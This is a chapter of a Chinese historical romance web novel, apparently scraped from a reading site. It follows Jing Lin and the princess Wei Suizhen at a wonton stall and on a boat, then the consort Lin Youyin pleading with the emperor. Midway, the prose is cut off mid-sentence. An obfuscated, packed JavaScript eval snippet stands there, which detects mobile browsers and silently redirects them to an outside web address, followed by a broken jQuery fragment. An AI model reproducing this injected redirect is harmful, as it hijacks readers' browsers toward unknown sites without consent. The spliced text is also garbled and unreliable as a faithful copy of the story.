文趣网 > 其他小说 > 臣的公主殿下 > 51. 第五十一章
    小巷、馄饨摊

    景林在一连吃了五碗馄饨后发现魏隋贞不见了踪影,他松开调羹,调羹碰撞瓷碗的动静引来摊主询问:“郎君可还要再来一碗?”

    景林犹豫片刻,最终点下头,“那便在来一碗吧”。

    他方才饿到什么程度了呢?毫不夸张地说,躺在地上看见她伸过脚时他真想一口咬上去。

    他目光瞟到叠起来的碗上,为自己辩解,不怪他胃口大,怪玄都的碗太小。

    吃第六碗馄饨时他放慢了进食速度,一个馄饨恨不得分十口咬,可半碗吃完,依旧不见她身影,愁的他剩下半碗馄饨也没了心思吃,出门时并未带钱在身上,他不知能用什么来付这六碗馄饨。

    不过,纵是他想带也没钱可带,太初宫里没有一件东西是他的,连身上穿的衣服也不是,他总不能伸手向她讨钱......

    思虑半天,他默默转头看向因没其他客人而默默洗碗的摊主,就这么个小摊贩,他想打杂抵债也不现实。

    景林愁的挠头,不经意间摸到束发的玉簪子,心想这宫里的簪子应件件都货品不凡,付这六碗馄饨绰绰有余。簪子刚拔出一半,一只手啪一下打在他手上,将簪子稳稳推回发间。

    他抬头看见来人,激动道:“殿......”,查觉不妥,厚着脸皮改口道:“娘子”。

    魏隋贞闻言身子一晃,手上端着的碗洒出些汤水,“嘶~”,她被烫到,慌忙将碗放下。

    “怎么了?”景林拉过她手,“可烫疼了吧?”见她手背上挂着一块桃胶,他低头一舔,将桃胶吃了。

    他舌头划过手背时魏隋贞愣住了,呆了半晌,才像见鬼一样甩开他,皱眉道:“真就饿到这个份上了?”

    “为夫只是不浪费粮食”,景林笑看着她。

    噢,对了,他刚才还叫她娘子来着,魏隋贞扫了一眼桌上的空碗,再加上他方才拔簪之举,顿时了然于心,这是以为她走了,想用玉簪抵债。

    “你方才拔簪子想做什么?”她说着舀起一勺皂角桃胶羹,轻吹一口气。

    景林压低声音凑近她道:“臣身上没钱”。

    “没钱便打起了玉簪的主意?”她只说话,却不看向他。

    “臣知道,这一把玉簪子约莫可以买下一百个馄饨摊,只用来抵六碗馄饨确实大手笔了些。”

    “一百个?”魏隋贞眸光扫过他的脸,“虽只是一块素玉簪子,可也是十六岁的我磨了数十日才成型的”。

    景林手又不自觉摸上玉簪,竟是她亲手制的,那又如何会出现在他头上?总不能是阿绿偷出来的,那便只可能是她送给他的。

    不理他、不见他,却又赠他簪子,景林不觉扬起嘴角,小声嘀咕道:“明明就不是个狠心人......”

    “说什么呢?”魏隋贞在桌底踢了他一脚。

    “无价!”景林仰起头怔怔道:“臣说,无价”。

    “其实这簪子......”,她定定看着他,最后将手中的调羹递到他嘴边,“吃吧,这碗甜汤也是你的了”。

    景林张口接过,这算不算是她在喂他?那是否说明她已原谅了他?

    魏隋贞将空调羹放回碗中,又将碗推向他,之后背过头不再看他。

    “殿下”,景林从后面轻轻拽了拽她衣袖,“臣一直想和殿下解释”。

    “臣和阿......臣和贵妃娘娘”,他试探的将头绕过去看她神情,“殿下愿听臣解释吗?”

    魏隋贞一掌摁在他额上,将他推开,随后走到摊前将馄饨钱结了便迈步离开。

    景林见状端起碗一口气将甜汤喝光起身追她,“娘子等等为夫!”

    “殿下请听臣解释”,他紧紧跟在她身后,以为是提起阿吟,她又恼了。

    “一盏荷花灯”,魏隋贞从灯贩处买了盏荷花灯拎在手上。

    “殿下......”,景林本想说他可以为她提灯,却被她打断,“我也从没说不听你解释吧?你总说解释、解释,然后呢?”

    魏隋贞提着灯走下拱桥,来到玄西河边跳上一艘无人的乌篷船,景林紧跟其后,“殿下,我们不回宫里了?”

    “如今宫门都下钥了,你如何进去”,她放下灯,往船上翘脚便是一躺。

    “那......”,景林一动,船晃了一下,他撑着手一扶却抓到了她小腿,“那殿下带臣来此处作何?”

    魏隋贞淡淡道:“自然是来听你解释啊”。

    景林寻了个地坐下,将腿一曲双手抱着膝,“臣与贵妃娘娘......”,又觉别扭,干脆直接道:“景林与林尤吟自幼相识,明明家境悬殊,却交心相依”。

    “我没兴致听你那老掉牙的情爱故事”,魏隋贞两眼一闭,这些何须他解释,她自己用头发丝都能想到,不过就是太巧了,巧到他爱的人嫁了她爱的人。

    “不,臣一定要向殿下解释”,景林继续讲述:“彼时景林从未出过淮林县,县令之女林尤吟无疑时他见过最耀眼的女子,再加上她从未嫌贫爱富,就算背着家里也要偷偷跑出去找景林一起玩。后来景林长大了些,他开始思考,林尤吟图什么呢?”

    魏隋贞听笑了,“她在你们县是不是没其他同龄之人了?”

    景林忽略了她的笑声,认真答道:“自然是有”。

    “殿下还未去过臣在淮林的老家,在臣还未遇到殿下之前,臣家里很穷,穷到臣参军前臣都未好好吃过一顿肉。十四岁那年臣跟着一渔夫在河里打鱼,也只能换来很少很少的钱,要攒很久才够买一小块景叁馋了很久的糖。”

    提起许久未见的小妹,景林轻笑了一声,“臣知道有了钱应该去买米买油,可是臣就是不忍心看景叁馋别家小孩的糖”。

    “一次臣在河里救了十一岁女孩,便是她,臣以为只是随手行了一件善事,过了便过了,未多在意,直到一天,景叁一手抱着一块比她脸还大的糖,一手牵着那日落水的女孩来到河边寻臣。”

    “自那天后她边经常跑到河边找臣,后来被林县令发现,她被禁了足,可她还是想方设法逃出来找臣,接着又被抓回去,林县令甚至动手打了她。”

    “淮林虽不是什么富县,但她毕竟是县令家的千金”,魏隋贞

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891358|204616||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    起身用手将景林的下巴从他膝上勾起,“景林,那几年,你那十五六岁的年纪,想必因此感动不已,生死相依、今生定不负她之类的山盟海誓想必没少说吧”。

    “你家一贫如洗,即便是心爱之人什么都不要,可你也想让她从你身上图到些什么,因此,你便去参了军,妄想一日立下军功好回去娶她,结果最后抱着军功却娶了我”。

    景林愣住,在黑暗中定定看着她,自惭一笑,“果然是很老掉牙的故事”。

    “总之,是我阻了你的好姻缘,可你因惧我,加上认为一家老小都在我手中,所以什么都不敢和我说”,魏隋贞将手指抽回,偏过头道:“不,其实你说了,那次在雪地里,我都听见了”。

    她说完后景林仿佛被定在原处,久久缓不过神,原来,她一早便知道,那次他不光说了他也有心上人,还问了她那夜到底是谁在她床上,不知后面那句她有没有听到......

    景林直起身子向她跪下,“臣此生对殿下只有未来得及说,没有欺骗,这件事臣一直未向殿下说明是因为臣以为此生不会再遇见她。”

    那盏荷花灯的灯光渐变微弱,魏隋贞将灯上的挂绳取下走到船头,将灯放入河中,她失神的望着随水慢慢飘走的荷花灯,如今景林还不知林尤吟会贵妃是魏允故意为之,也不知她和魏允过去之事......

    “殿下”,景林走近她,虽黑夜里不太看得清,但他能感受到他将事情全盘托出后她变的愈发惆怅,全然无了方才馄饨摊前逗他玩的那份轻松。

    魏隋贞转头时鼻尖蹭过了他下巴,她在他耳垂后停住,心里未对他说出口是话是

    “景林,你比我坦荡。”

    太极宫

    “陛下、陛下!”

    林尤吟大喊着便往太极宫闯,被宣雨拦下,“贵妃娘娘,夜已深,陛下已歇下,有何事待天明再说吧”。

    “不行!你去告诉陛下、告诉陛下水仙儿不好了!”林尤吟见宣雨拦着她不让,只好抓住宣雨一同往里走。

    “好,奴婢去!”宣雨想到今夜宿在太极宫的是灵妃,可不好让贵妃闯进去,“贵妃娘娘请稍后片刻”。

    魏允耳朵灵,林尤吟刚喊了一声,他便听到了,对宣雨道:“带她去偏殿”。

    一到偏殿,他便看到林尤吟只穿着寝衣跪在地上,他叹了口气,走过去为她披上一件鹤氅,“走吧,朕陪你去看水仙儿”。

    “陛下”,林尤吟握住他手,“水仙儿有太医们照看”。

    “那你慌慌张张,衣裳也不加便跑来”,魏允欲将她扶起,可她安然不动跪着,“可是太医们终究是治不好水仙儿的病”。

    “陛下”,林尤吟跪直身子仰起头,“臣妾听说宫里有位周仙师曾为先帝治头风,想必他定能治好水仙儿的病”。

    魏允星眸一凛,“周仙师如今不在宫里了”。

    “那陛下为何不将他宣回宫中?”林尤吟抬手拽住他衣袖,“臣妾听说此前长公主中毒昏迷,周仙师便回来过”。

    “他能为先帝治,能为长公主治,定也会为我们的水仙儿治。”